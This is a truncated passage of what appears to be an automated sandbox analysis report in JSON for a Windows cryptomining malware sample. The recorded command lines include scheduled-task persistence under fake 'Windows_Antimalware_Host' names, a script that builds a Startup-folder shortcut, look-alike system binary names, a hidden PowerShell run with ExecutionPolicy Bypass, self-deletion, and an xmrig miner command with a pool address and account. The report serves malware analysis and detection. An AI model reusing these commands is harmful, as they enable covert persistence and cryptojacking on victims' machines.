api.enable.pw","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}],"processes":[{"pid":3656,"ppid":0,"name":"e6aeef24c04a1d327e9b8337ca50c74f686ca041ac161a130ca31003ceaaaa7e.exe","command_line":"","sha256":"e6aeef24c04a1d327e9b8337ca50c74f686ca041ac161a130ca31003ceaaaa7e","normalized_path":"C:\\e6aeef24c04a1d327e9b8337ca50c74f686ca041ac161a130ca31003ceaaaa7e.exe","uid":"00014521-00003656","icon":"$3b"},{"pid":3848,"ppid":3656,"name":"GoogleUpdate.exe","command_line":"","sha256":"61d094a1bd6305aa89193fdf9cb68ece3f28475b10adee1e71b9dfc96d0cb992","normalized_path":"C:\\GoogleUpdate.exe","parent_uid":"00014521-00003656","uid":"00015537-00003848","icon":"$3c"},{"pid":4032,"ppid":3848,"name":"schtasks.exe","command_line":"/Create /SC MINUTE /MO 30 /TN \"Windows_Antimalware_Host\" /TR \"%ALLUSERSPROFILE%\\WindowsAppCertification\\checker.vbs\" /F","sha256":"15018d0093befabba8b927743191030d1f8c17bb97fdb48c2fc3eab20e2d4b3d","normalized_path":"%WINDIR%\\System32\\schtasks.exe","parent_uid":"00015537-00003848","uid":"00015932-00004032","icon":"$3d"},{"pid":3940,"ppid":3848,"name":"schtasks.exe","command_line":"/Create /SC MINUTE /MO 5 /TN \"Windows_Antimalware_Host_Systm\" /TR \"%ALLUSERSPROFILE%\\MicrosoftCorporation\\Windows\\System32\\Isass.exe\" /F","sha256":"15018d0093befabba8b927743191030d1f8c17bb97fdb48c2fc3eab20e2d4b3d","normalized_path":"%WINDIR%\\System32\\schtasks.exe","parent_uid":"00015537-00003848","uid":"00015945-00003940","icon":"$3e"},{"pid":4020,"ppid":3848,"name":"cmd.exe","command_line":"/c echo Set oWS = WScript.CreateObject(\"WScript.Shell\") > CreateShortcut.vbs & echo sLinkFile = \"%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Isass.lnk\" >> CreateShortcut.vbs & echo Set oLink = oWS.CreateShortcut(sLinkFile) >> CreateShortcut.vbs & echo oLink.TargetPath = \"%ALLUSERSPROFILE%\\MicrosoftCorporation\\Windows\\System32\\Isass.exe\" >> CreateShortcut.vbs & echo oLink.Save >> CreateShortcut.vbs & cscript CreateShortcut.vbs & del CreateShortcut.vbs","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00015537-00003848","uid":"00015958-00004020","icon":"$3f"},{"pid":712,"ppid":4020,"name":"cscript.exe","command_line":"cscript CreateShortcut.vbs","sha256":"bd7b57a9303f0156e0737e9768a70f841b222a3e07e1426ecccfffdf2737bfe9","normalized_path":"%WINDIR%\\System32\\cscript.exe","parent_uid":"00015958-00004020","uid":"00016086-00000712","icon":"$40"},{"pid":2052,"ppid":3848,"name":"Isass.exe","command_line":"","sha256":"61d094a1bd6305aa89193fdf9cb68ece3f28475b10adee1e71b9dfc96d0cb992","normalized_path":"%ALLUSERSPROFILE%\\MicrosoftCorporation\\Windows\\System32\\Isass.exe","parent_uid":"00015537-00003848","uid":"00016006-00002052","icon":"$41"},{"pid":804,"ppid":2052,"name":"schtasks.exe","command_line":"/Create /SC MINUTE /MO 30 /TN \"Windows_Antimalware_Host\" /TR \"%ALLUSERSPROFILE%\\WindowsAppCertification\\checker.vbs\" /F","sha256":"15018d0093befabba8b927743191030d1f8c17bb97fdb48c2fc3eab20e2d4b3d","normalized_path":"%WINDIR%\\System32\\schtasks.exe","parent_uid":"00016006-00002052","uid":"00018475-00000804","icon":"$42"},{"pid":3752,"ppid":2052,"name":"schtasks.exe","command_line":"/Create /SC MINUTE /MO 5 /TN \"Windows_Antimalware_Host_Systm\" /TR \"%ALLUSERSPROFILE%\\MicrosoftCorporation\\Windows\\System32\\Isass.exe\" /F","sha256":"15018d0093befabba8b927743191030d1f8c17bb97fdb48c2fc3eab20e2d4b3d","normalized_path":"%WINDIR%\\System32\\schtasks.exe","parent_uid":"00016006-00002052","uid":"00018485-00003752","icon":"$43"},{"pid":1588,"ppid":2052,"name":"cmd.exe","command_line":"/c echo Set oWS = WScript.CreateObject(\"WScript.Shell\") > CreateShortcut.vbs & echo sLinkFile = \"%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Isass.lnk\" >> CreateShortcut.vbs & echo Set oLink = oWS.CreateShortcut(sLinkFile) >> CreateShortcut.vbs & echo oLink.TargetPath = \"%ALLUSERSPROFILE%\\MicrosoftCorporation\\Windows\\System32\\Isass.exe\" >> CreateShortcut.vbs & echo oLink.Save >> CreateShortcut.vbs & cscript CreateShortcut.vbs & del CreateShortcut.vbs","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00016006-00002052","uid":"00018514-00001588","icon":"$44"},{"pid":3872,"ppid":1588,"name":"cscript.exe","command_line":"cscript CreateShortcut.vbs","sha256":"bd7b57a9303f0156e0737e9768a70f841b222a3e07e1426ecccfffdf2737bfe9","normalized_path":"%WINDIR%\\System32\\cscript.exe","parent_uid":"00018514-00001588","uid":"00018572-00003872","icon":"$45"},{"pid":3812,"ppid":2052,"name":"SecurityHeaIthService.exe","command_line":"","sha256":"61d094a1bd6305aa89193fdf9cb68ece3f28475b10adee1e71b9dfc96d0cb992","normalized_path":"%ALLUSERSPROFILE%\\MicrosoftCorporation\\Windows\\Helpers\\SecurityHeaIthService.exe","parent_uid":"00016006-00002052","uid":"00018557-00003812"},{"pid":3880,"ppid":2052,"name":"SystemldleProcess.exe","command_line":"","sha256":"61d094a1bd6305aa89193fdf9cb68ece3f28475b10adee1e71b9dfc96d0cb992","normalized_path":"%ALLUSERSPROFILE%\\MicrosoftCorporation\\Windows\\Helpers\\SystemldleProcess.exe","parent_uid":"00016006-00002052","uid":"00018638-00003880"},{"pid":1024,"ppid":2052,"name":"winIogon.exe","command_line":"","sha256":"61d094a1bd6305aa89193fdf9cb68ece3f28475b10adee1e71b9dfc96d0cb992","normalized_path":"%ALLUSERSPROFILE%\\MicrosoftCorporation\\Windows\\Helpers\\winIogon.exe","parent_uid":"00016006-00002052","uid":"00018718-00001024"},{"pid":3100,"ppid":2052,"name":"xmrig32.exe","command_line":"-o xmr.pool.minergate.com:45560 -u stasmiomi@gmail.com -p x -k -t 1","sha256":"2cbe4c9eef3d4d42f0e8087e91c6e9b3a7b954499c88fbbe2247d6fa47aba580","normalized_path":"%ALLUSERSPROFILE%\\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}\\xmrig32.exe","parent_uid":"00016006-00002052","uid":"00021707-00003100"},{"pid":812,"ppid":3848,"name":"cmd.exe","command_line":"/c taskkill /im GoogleUpdate.exe /f & erase C:\\GoogleUpdate.exe & exit","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00015537-00003848","uid":"00016013-00000812","icon":"$46"},{"pid":1928,"ppid":812,"name":"taskkill.exe","command_line":"taskkill /im GoogleUpdate.exe /f","sha256":"cb1822a981e9821d571af16b7e37beba5feb8e3dedcdd0461119af9aac0358b3","normalized_path":"%WINDIR%\\System32\\taskkill.exe","parent_uid":"00016013-00000812","uid":"00016095-00001928","icon":"$47"},{"pid":4068,"ppid":0,"name":"wscript.exe","command_line":"\"%ALLUSERSPROFILE%\\WindowsAppCertification\\checker.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","normalized_path":"%WINDIR%\\System32\\wscript.exe","uid":"00015933-00004068","icon":"$48"},{"pid":2388,"ppid":4068,"name":"cmd.exe","command_line":"\"cmd /c \"\"%ALLUSERSPROFILE%\\WindowsAppCertification\\cert.cmd\" \"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00015933-00004068","uid":"00016354-00002388","icon":"$49"},{"pid":2448,"ppid":2388,"name":"powershell.exe","command_line":"powershell -WindowStyle Hidden -ExecutionPolicy Bypass -NoP -file %ALLUSERSPROFILE%\\WindowsAppCertification\\WindowHelperStorageHostSystemThread.ps1","sha256":"6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00016354-00002388","uid":"00016405-00002448","icon":"$4a"},{"pid":3984,"ppid":0,"name":"Isass.exe","command_line":"","sha256":"61d094a1bd6305aa89193fdf9cb68ece3f28475b10adee1e71b9dfc96d0cb992","normalized_path":"%ALLUSERSPROFILE%\\MicrosoftCorporation\\Windows\\System32\\Isass.exe","uid":"00015951-00003984","icon":"$4b"},{"pid":3768,"ppid":0,"name":"wscript.exe","command_line":"\"%ALLUSERSPROFILE%\\WindowsAppCertification\\checker.vbs\"","sha256":"047f3c5a7ab0ea05f35b2ca8037bf62dd4228786d07707064dbd0d46569305d0","normalized_path":"%WINDIR%\\System32\\wscript.exe","uid":"00018475-00003768","icon":"$4c"},{"pid":4052,"ppid":0,"name":"Isass.exe","command_line":"","sha256":"61d094a1bd6305aa89193fdf9cb68ece3f28475b10adee1e71b9dfc96d0cb992","normalized_path":"%ALLUSERSPROFILE%\\MicrosoftCorporation\\Windows\\System32\\Isass.exe","uid":"00018489-00004052","icon":"$4d"}],"all_imported_dlls":["kernel32.dll","cryptbase.dll","ws2_32.dll","wbemprox.dll","oleacc.dll","taskschd.dll","System.Xml.ni.dll","System.Configuration.Install.ni.dll","crypt32.dll","urlmon.dll","devobj.dll","dbghelp.dll","System.ServiceProcess.ni.dll","shlwapi.dll","webio.dll","cfgmgr32.dll","FWPUCLNT.DLL","Microsoft.PowerShell.Commands.Management.dll","comctl32.dll","gdi32.dll","ncrypt.dll","uxtheme.dll","Wldap32.dll","apphelp.dll","mpr.dll","scrrun.dll","msctf.dll","msvcrt.dll","mscorwks.dll","nsi.dll","security.dll","wkscli.dll","System.Management.Automation.dll","rpcrt4.dll","version.dll","mswsock.dll","msasn1.dll","wininet.dll","oleaccrc.dll","sspicli.dll","rasapi32.dll","rtutils.dll","ieframe.dll","ntshrui.dll","framedynos.dll","msvcr80.dll","dwmapi.dll","wer.dll","Microsoft.WSMan.Runtime.dll","System.Data.dll","System.Transactions.ni.dll","psapi.dll","WSHTCPIP.DLL","winnsi.dll","rasadhlp.dll","duser.dll","Microsoft.PowerShell.Commands.Diagnostics.dll","rpcss.dll","winmm.dll","System.configuration.dll","userenv.dll","wbemsvc.dll","wship6.dll","dnsapi.dll","System.ni.dll","shfolder.dll","RpcRtRemote.dll","gpapi.dll","mscorrc.dll","ntdsapi.dll","rasman.dll","netutils.dll","KernelBase.dll","user32.dll","mscoree.dll","bcryptprimitives.dll","shdocvw.dll","mscorlib.ni.dll","Microsoft.PowerShell.Commands.Utility.dll","System.Data.ni.dll","shell32.dll","System.Management.dll","xmllite.dll","winbrand.dll","wtsapi32.dll","advapi32.dll","System.XML.dll","System.Core.dll","wbemcomn.dll","netapi32.dll","Microsoft.PowerShell.ConsoleHost.dll","imm32.dll","wshext.dll","winsta.dll","ole32.dll","mscorlib.dll","cryptsp.dll","rsaenh.dll","WMINet_Utils.dll","scrobj.dll","System.dll","pwrshsip.dll","powrprof.dll","atl.dll","usp10.dll","mscorjit.dll","wmiutils.dll","bcrypt.dll","setupapi.dll","linkinfo.dll","ExplorerFrame.dll","System.Transactions.dll","sechost.dll","mscoreei.dll","clbcatq.dll","winhttp.dll","srvcli.dll","Microsoft.PowerShell.Security.dll","Culture.dll","cscapi.dll","oleaut32.dll","IPHLPAPI.DLL","credssp.dll","secur32.dll","schannel.dll","iertutil.dll","sxs.dll","lpk.dll","fastprox.dll","msisip.dll","GdiPlus.dll","propsys.dll","System.DirectoryServices.ni.dll","ntdll.dll","profapi.dll","ntmarta.dll","wshqos.dll","slc.dll","dui70.dll","tzres.dll","dhcpcsvc6.dll","gameux.dll","vbscript.dll","Microsoft.WSMan.Management.dll","dhcpcsvc.dll","ktmw32.dll","wintrust.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"WindowHelperStorageHostSystemThread.ps1","sha256":"48a49ddd047459c31bab24f17869b2a6ad1dc7c4801866ece54758757dec1198","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"name":"xmrig32.exe","sha256":"2cbe4c9eef3d4d42f0e8087e91c6e9b3a7b954499c88fbbe2247d6fa47aba580","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"name":"GoogleUpdate.exe","sha256":"61d094a1bd6305aa89193fdf9cb68ece3f28475b10adee1e71b9dfc96d0cb992","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"name":"cert.cmd","sha256":"9ad1b0c67aa745cb2ab0f1238df71ba4f3b7742f572acf64d13c9876b34c42a2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"name":"checker.vbs","sha256":"6d02b3b430d85bd64bc3b4ade00e7cb2a474638517fb404fb459feb90980a522","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"name":"Isass.lnk","sha256":"3fdc28369c8809bc4f125390b2c27be247cc345fb7af35ace9b56f81e46cc615","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"name":"CreateShortcut.vbs","sha256":"5b7685f1c419e77e1f274c6ba6a4aeb6678773147ff3d4398b1be88979549193","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"name":"driver.dat","sha256":"4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"name":"7VFKYQV7SWURQEG5JIXK.temp","sha256":"7f866d3d4fef26a2d173deebe7864b8823d0356758a7dc93e6c0e212ed0a0f64","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"name":"Winhost.url","sha256":"869bcfc47311c05f9f7a0bb61bc6858ba870458dd957c057f1db8e4fa63d2295","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]}],"files_written":[{"path":"C:\\e6aeef24c04a1d327e9b8337ca50c74f686ca041ac161a130ca31003ceaaaa7e.exe.config","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v2.0.50727_32\\index23b.dat","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Winhost.url","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\System.Xml\\2.0.0.0__b77a5c561934e089\\System.XML.dll","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\System.Configuration\\2.0.0.0__b03f5f7f11d50a3a\\System.configuration.dll","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"C:\\e6aeef24c04a1d327e9b8337ca50c74f686ca041ac161a130ca31003ceaaaa7e.config","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"C:\\%lu%winhost.exe","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{9C9C1D9A-E45A-41F9-8D98-D3B6EA5D768D}","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{72D885C2-0AEC-4510-95D5-BF120A963535}","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\en-US\\taskkill.exe.mui","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\wshom.ocx","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\stdole2.tlb","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Isass.lnk\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%ALLUSERSPROFILE%\\MicrosoftCorporation","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%ALLUSERSPROFILE%\\MicrosoftCorporation\\Windows","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Isass.lnk","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\en-US\\powershell.exe.mui","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"C:\\Users\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%APPDATA%\\Microsoft\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%USERPROFILE%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\en-US\\shell32.dll.mui","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%APPDATA%\\Microsoft\\Windows","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%PUBLIC%\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"C:\\Users\\Public","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%PUBLIC%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%APPDATA%\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%APPDATA%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%APPDATA%\\Microsoft\\Internet Explorer","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%APPDATA%\\Microsoft\\Internet Explorer\\Quick Launch","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell_ise.exe","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\hh.exe","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\clr.dll","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\clr.dll","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\clr.dll","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\security.config","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\security.config.cch","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\enterprisesec.config","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\config\\enterprisesec.config.cch","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%APPDATA%\\Microsoft\\CLR Security Config\\v2.0.50727.312\\security.config","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%APPDATA%\\Microsoft\\CLR Security Config\\v2.0.50727.312\\security.config.cch","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\assembly\\NativeImages_v2.0.50727_32\\index23c.dat","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\assembly\\pubpol47.dat","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\CONFIG\\machine.config","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"C:\\BVTBin\\Tests\\installpackage\\csilogfile.log","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\l_intl.nls","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sorttbls.nlp","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\assembly\\GAC_32\\mscorlib\\2.0.0.0__b77a5c561934e089\\sortkey.nlp","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\assembly\\GAC_MSIL\\System.Core\\3.5.0.0__b77a5c561934e089\\System.Core.dll","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\assembly\\GAC_32\\System.Transactions\\2.0.0.0__b77a5c561934e089\\System.Transactions.dll","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\mscorrc.dll","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\getevent.types.ps1xml","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\WSMan.Format.ps1xml","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\Certificate.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\Help.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\PowerShellCore.format.ps1xml","sources":[{"report_type":"sandbox","report_id":"59f6f0f97ca3e143677c8f27"}]},{"path":"%WINDIR%\\System32\\Wind